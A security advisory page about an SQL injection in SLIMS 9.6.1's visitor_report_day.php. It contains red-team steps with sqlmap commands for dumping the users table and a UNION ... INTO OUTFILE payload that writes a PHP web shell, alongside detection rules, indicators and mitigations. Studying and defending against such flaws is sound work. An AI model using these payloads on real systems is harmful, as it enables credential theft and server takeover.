CVE-2025-26200
Executive Summary
CVE-2025-26200 is a critical SQL injection vulnerability discovered in SLIMS version 9.6.1, specifically within the visitor_report_day.php component. The flaw resides in the month parameter, which is not properly sanitized before being used in a SQL query. This allows a remote, unauthenticated attacker to inject arbitrary SQL commands, potentially leading to privilege escalation, data exfiltration, or complete database compromise. The vulnerability is currently unpatched, and no official fix has been released by the vendor. Given the public disclosure of the vulnerability, the risk of active exploitation is elevated.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects the SLIMS application, which is a self-hosted library management system. It is not distributed via NPM, PyPI, Go, or Ruby registries. The primary supply chain risk is the lack of an official patch, forcing administrators to rely on manual mitigations or third-party patches.
CVSS Breakdown & Threat Level
The CVSS score is listed as 0.0, which is likely a placeholder or error. Based on the vulnerability description, a more realistic assessment is:
- Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely.
- Attack Complexity (AC): Low (L) – No special conditions are required.
- Privileges Required (PR): None (N) – No authentication is needed.
- User Interaction (UI): None (N) – No user action is required.
- Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
- Confidentiality (C): High (H) – Full database read access is possible.
- Integrity (I): High (H) – Data can be modified or deleted.
- Availability (A): High (H) – Database can be disrupted or destroyed.
Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Estimated Base Score: 9.8 (Critical)
Threat Level: Critical. The combination of remote exploitability, no authentication, and potential for full database compromise makes this a high-priority vulnerability.
Deep Dive & Mechanics
The vulnerability is a classic SQL injection in the month parameter of the visitor_report_day.php script. The application likely constructs a SQL query similar to:
SELECT * FROM visitor_reports WHERE month = '$_GET['month']'
Without proper sanitization or parameterized queries, an attacker can inject SQL commands by manipulating the month parameter. For example, a payload like:
' OR '1'='1' --
Would modify the query to:
SELECT * FROM visitor_reports WHERE month = '' OR '1'='1' -- '
This would return all records in the table. More sophisticated payloads can be used to extract data from other tables, escalate privileges, or execute system commands if the database user has sufficient privileges.
The vulnerability is particularly dangerous because it is in a reporting component, which often has elevated database permissions to aggregate data. This could allow an attacker to gain administrative access to the SLIMS application or the underlying database server.
Vulnerable vs. Patched Code
Vulnerable Code (SLIMS 9.6.1):
<?php
$month = $_GET['month'];
$query = "SELECT * FROM visitor_reports WHERE month = '$month'";
$result = mysqli_query($conn, $query);
?>
Patched Code (Hypothetical):
<?php
$month = mysqli_real_escape_string($conn, $_GET['month']);
$query = "SELECT * FROM visitor_reports WHERE month = '$month'";
$result = mysqli_query($conn, $query);
?>
Or, preferably, using prepared statements:
<?php
$stmt = $conn->prepare("SELECT * FROM visitor_reports WHERE month = ?");
$stmt->bind_param("s", $_GET['month']);
$stmt->execute();
$result = $stmt->get_result();
?>
The patched code uses input escaping or parameterized queries to prevent SQL injection. Since no official patch exists, administrators must implement these mitigations manually.
Exploitation & Lab Setup
Red Team (Exploitation)
Lab Setup:
- Install SLIMS 9.6.1 on a local server (e.g., using XAMPP or a Docker container).
- Ensure the
visitor_report_day.phpcomponent is accessible. - Use a tool like
sqlmaporBurp Suiteto test the vulnerability.
Exploitation Steps:
Identify the vulnerable parameter:
http://target/slims/visitor_report_day.php?month=2025-01Test for SQL injection:
http://target/slims/visitor_report_day.php?month=2025-01'If an error is returned, the parameter is vulnerable.
Extract database information using
sqlmap:sqlmap -u "http://target/slims/visitor_report_day.php?month=2025-01" --batch --dbsExtract user credentials:
sqlmap -u "http://target/slims/visitor_report_day.php?month=2025-01" -D slims_db --tables sqlmap -u "http://target/slims/visitor_report_day.php?month=2025-01" -D slims_db -T users --dumpEscalate privileges: If the database user has
FILEprivileges, an attacker can write a webshell:' UNION SELECT 1,2,"<?php system($_GET['cmd']); ?>",4 INTO OUTFILE '/var/www/html/shell.php' --
Blue Team (Defense & Detection)
Detection:
- Monitor web server logs for unusual
monthparameter values, especially those containing SQL keywords (e.g.,UNION,SELECT,OR). - Deploy a Web Application Firewall (WAF) with rules to block SQL injection patterns.
- Use database activity monitoring to detect anomalous queries.
Mitigation:
- Apply input validation and parameterized queries to the
monthparameter. - Restrict database user permissions to the minimum required.
- Implement a Content Security Policy (CSP) to limit the impact of any successful injection.
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP requests to
visitor_report_day.phpwith abnormalmonthparameter values. - Requests containing SQL keywords in the
monthparameter (e.g.,UNION,SELECT,OR). - Outbound database connections from the web server to unexpected IP addresses.
File System IOCs:
- Unexpected files in the web root (e.g.,
shell.php,cmd.php). - Modified
visitor_report_day.phpfile (if an attacker patches it to remove the vulnerability).
Log IOCs:
- Database error logs showing SQL syntax errors.
- Web server access logs with
400or500status codes forvisitor_report_day.php.
Detection Engineering
YARA Rule
rule CVE_2025_26200_SQLi_Detection {
meta:
description = "Detects SQL injection attempts targeting CVE-2025-26200 in SLIMS 9.6.1"
author = "Valters IT"
date = "2025-03-01"
reference = "CVE-2025-26200"
strings:
$sqli1 = "month="
$sqli2 = "' OR "
$sqli3 = "' UNION "
$sqli4 = "' AND "
$sqli5 = "1=1"
$sqli6 = "1=2"
condition:
all of ($sqli*) and filesize < 10KB
}
Sigma Rule
title: CVE-2025-26200 SQL Injection Attempt
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects SQL injection attempts targeting the month parameter in visitor_report_day.php
author: Valters IT
date: 2025/03/01
references:
- https://nvd.nist.gov/vuln/detail/CVE-2025-26200
logsource:
category: webserver
product: apache
service: access_combined
detection:
selection:
cs-uri-query|contains:
- "month="
- "' OR "
- "' UNION "
- "' AND "
- "1=1"
- "1=2"
condition: selection
falsepositives:
- Legitimate use of month parameter with special characters (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-26200 SQL Injection Attempt"; flow:to_server,established; content:"GET"; http_method; content:"/visitor_report_day.php"; http_uri; content:"month="; http_uri; pcre:"/(\x27|\x22)\s*(OR|UNION|AND)\s/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the vulnerable component: If
visitor_report_day.phpis not critical, remove or rename it. - Apply input validation: Manually patch the code to use parameterized queries or input escaping.
- Restrict database permissions: Ensure the database user used by SLIMS has minimal privileges (e.g., no
FILEorCREATEprivileges).
Long-term Actions:
- Monitor for official patches: Check the SLIMS vendor website for updates.
- Implement a WAF: Deploy a Web Application Firewall with SQL injection prevention rules.
- Conduct security audits: Regularly review code for similar vulnerabilities.
Workaround:
If patching is not possible, use a reverse proxy to filter requests to visitor_report_day.php and block any month parameter containing SQL keywords.
Report generated by Valters IT – DevSecOps & Cyber Threat Intelligence Division
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.